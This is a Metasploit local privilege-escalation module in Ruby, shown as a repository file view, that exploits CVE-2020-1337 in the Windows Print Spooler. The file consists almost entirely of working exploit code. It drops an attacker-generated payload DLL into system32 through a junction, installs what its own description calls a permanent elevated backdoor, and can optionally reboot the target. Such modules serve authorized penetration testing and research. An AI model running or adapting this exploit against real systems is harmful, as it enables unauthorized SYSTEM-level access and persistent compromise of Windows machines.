75ba9110e2
Utilised it in various existing modules - this should fix some subtle bugs in specific modules' version detection.
185 lines
6.9 KiB
Ruby
185 lines
6.9 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core/post/windows/powershell'
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Post::Common
|
|
include Msf::Post::File
|
|
include Msf::Post::Windows::Priv
|
|
include Msf::Post::Windows::Version
|
|
include Msf::Exploit::EXE
|
|
include Msf::Post::Windows::Powershell
|
|
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Microsoft Spooler Local Privilege Elevation Vulnerability',
|
|
'Description' => %q{
|
|
This exploit leverages a file write vulnerability in the print spooler service
|
|
which will restart if stopped. Because the service cannot be stopped long
|
|
enough to remove the dll, there is no way to remove the dll once
|
|
it is loaded by the service. Essentially, on default settings, this module
|
|
adds a permanent elevated backdoor.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Peleg Hadar', # Original discovery
|
|
'Tomer Bar', # Original discovery
|
|
'404death', # PoC
|
|
'sailay1996', # PoC
|
|
'bwatters-r7' # msf module
|
|
],
|
|
'Platform' => ['win'],
|
|
'SessionTypes' => ['meterpreter'],
|
|
'Targets' => [
|
|
[ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X64 ] } ]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => '2019-11-04',
|
|
'References' => [
|
|
['CVE', '2020-1337'],
|
|
['URL', 'https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-1337'],
|
|
['URL', 'https://github.com/sailay1996/cve-2020-1337-poc'],
|
|
['URL', 'https://voidsec.com/cve-2020-1337-printdemon-is-dead-long-live-printdemon/']
|
|
],
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [],
|
|
'SideEffects' => [
|
|
IOC_IN_LOGS,
|
|
ARTIFACTS_ON_DISK
|
|
]
|
|
},
|
|
'DefaultOptions' => {
|
|
'DisablePayloadHandler' => true
|
|
},
|
|
'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ],
|
|
'Compat' => {
|
|
'Meterpreter' => {
|
|
'Commands' => %w[
|
|
powershell_execute
|
|
stdapi_sys_config_getenv
|
|
stdapi_sys_power_exitwindows
|
|
]
|
|
}
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options([
|
|
OptString.new('JUNCTION_PATH',
|
|
[false, 'Path to use as junction (%TEMP%/%RAND% by default).', nil]),
|
|
OptString.new('DESTINATION_PATH',
|
|
[false, 'Location of file to overwrite (%WINDIR%\system32\ by default).', nil]),
|
|
OptString.new('DESTINATION_FILE',
|
|
[false, 'Filename to overwrite (ualapi.dll by default).', nil]),
|
|
OptString.new('PRINTER_NAME',
|
|
[true, 'Printer Name to use (%RAND% by default).', Rex::Text.rand_text_alpha(5..9).to_s]),
|
|
OptBool.new('RESTART_TARGET',
|
|
[false, 'Restart the target after exploit (you will lose your session until a second reboot).', false])
|
|
])
|
|
end
|
|
|
|
def cve_2020_1337_privileged_filecopy(destination_file, destination_path, junction_path, printer_name, b64_payload)
|
|
# Read in Generic Script
|
|
script = exploit_data('CVE-2020-1337', 'cve-2020-1337.ps1')
|
|
fail_with(Failure::BadConfig, 'No exploit script found') if script.nil?
|
|
|
|
# Replace Values in Generic Script
|
|
vprint_status('Replacing variables')
|
|
junction_filepath = "#{junction_path}\\#{destination_file}"
|
|
# The random string appears to be required when using the psh_exec
|
|
# It may be due to the way we break apart the script?
|
|
# I would not be upset to find the root cause and fix it.
|
|
script.gsub!('JUNCTION_FILEPATH', junction_filepath)
|
|
script.gsub!('PRINTER_NAME', printer_name)
|
|
script.gsub!('JUNCTION_PATH', junction_path)
|
|
script.gsub!('DESTINATION_PATH', destination_path)
|
|
script.gsub!('B64_PAYLOAD_DLL', b64_payload)
|
|
|
|
# Run Exploit Script
|
|
print_status("Running Exploit on #{sysinfo['Computer']}")
|
|
begin
|
|
# client.powershell.execute_string(code: script)
|
|
session.powershell.execute_string({ code: script })
|
|
rescue Rex::TimeoutError => e
|
|
elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e)
|
|
print_error('Caught timeout. Exploit may be taking longer or it may have failed.')
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
if datastore['DESTINATION_PATH'].nil? || datastore['DESTINATION_PATH'].empty?
|
|
win_dir = session.sys.config.getenv('windir')
|
|
destination_path = "#{win_dir}\\system32"
|
|
else
|
|
destination_path = datastore['DESTINATION_PATH']
|
|
end
|
|
if datastore['DESTINATION_FILE'].nil? || datastore['DESTINATION_FILE'].empty?
|
|
destination_file = 'ualapi.dll'
|
|
else
|
|
destination_file = datastore['DESTINATION_FILE']
|
|
end
|
|
if datastore['JUNCTION_PATH'].nil? || datastore['JUNCTION_PATH'].empty?
|
|
junction_path = "#{session.sys.config.getenv('TEMP')}\\#{Rex::Text.rand_text_alpha(6..15)}"
|
|
else
|
|
junction_path = datastore['JUNCTION_PATH']
|
|
end
|
|
client.core.use('powershell') if !client.ext.aliases.include?('powershell')
|
|
printer_name = datastore['PRINTER_NAME']
|
|
payload_dll = generate_payload_dll
|
|
|
|
# Check target
|
|
vprint_status('Checking Target')
|
|
validate_active_host
|
|
validate_payload
|
|
|
|
# Run the exploit
|
|
_output = cve_2020_1337_privileged_filecopy(destination_file, destination_path, junction_path, printer_name, Rex::Text.encode_base64(payload_dll))
|
|
sleep(3) # make sure exploit is finished
|
|
|
|
# Reboot, if desired
|
|
if datastore['RESTART_TARGET']
|
|
sleep(10)
|
|
vprint_status("Rebooting #{sysinfo['Computer']}")
|
|
begin
|
|
session.sys.power.reboot
|
|
rescue Rex::TimeoutError => e
|
|
elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e)
|
|
print_error('Caught timeout. Exploit may be taking longer or it may have failed.')
|
|
end
|
|
end
|
|
end
|
|
|
|
def validate_active_host
|
|
print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
elog('Could not connect to session', error: e)
|
|
raise Msf::Exploit::Failed, 'Could not connect to session'
|
|
end
|
|
|
|
def validate_payload
|
|
vprint_status("Target Arch = #{sysinfo['Architecture']}")
|
|
vprint_status("Payload Arch = #{payload.arch.first}")
|
|
unless payload.arch.first == sysinfo['Architecture']
|
|
fail_with(Failure::BadConfig, 'Payload arch must match target arch')
|
|
end
|
|
end
|
|
|
|
def check
|
|
version = get_version_info
|
|
vprint_status("OS version: #{version}")
|
|
return Exploit::CheckCode::Appears if version.build_number.between?(Msf::WindowsVersion::Win10_InitialRelease, Msf::WindowsVersion::Win10_1909)
|
|
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
end
|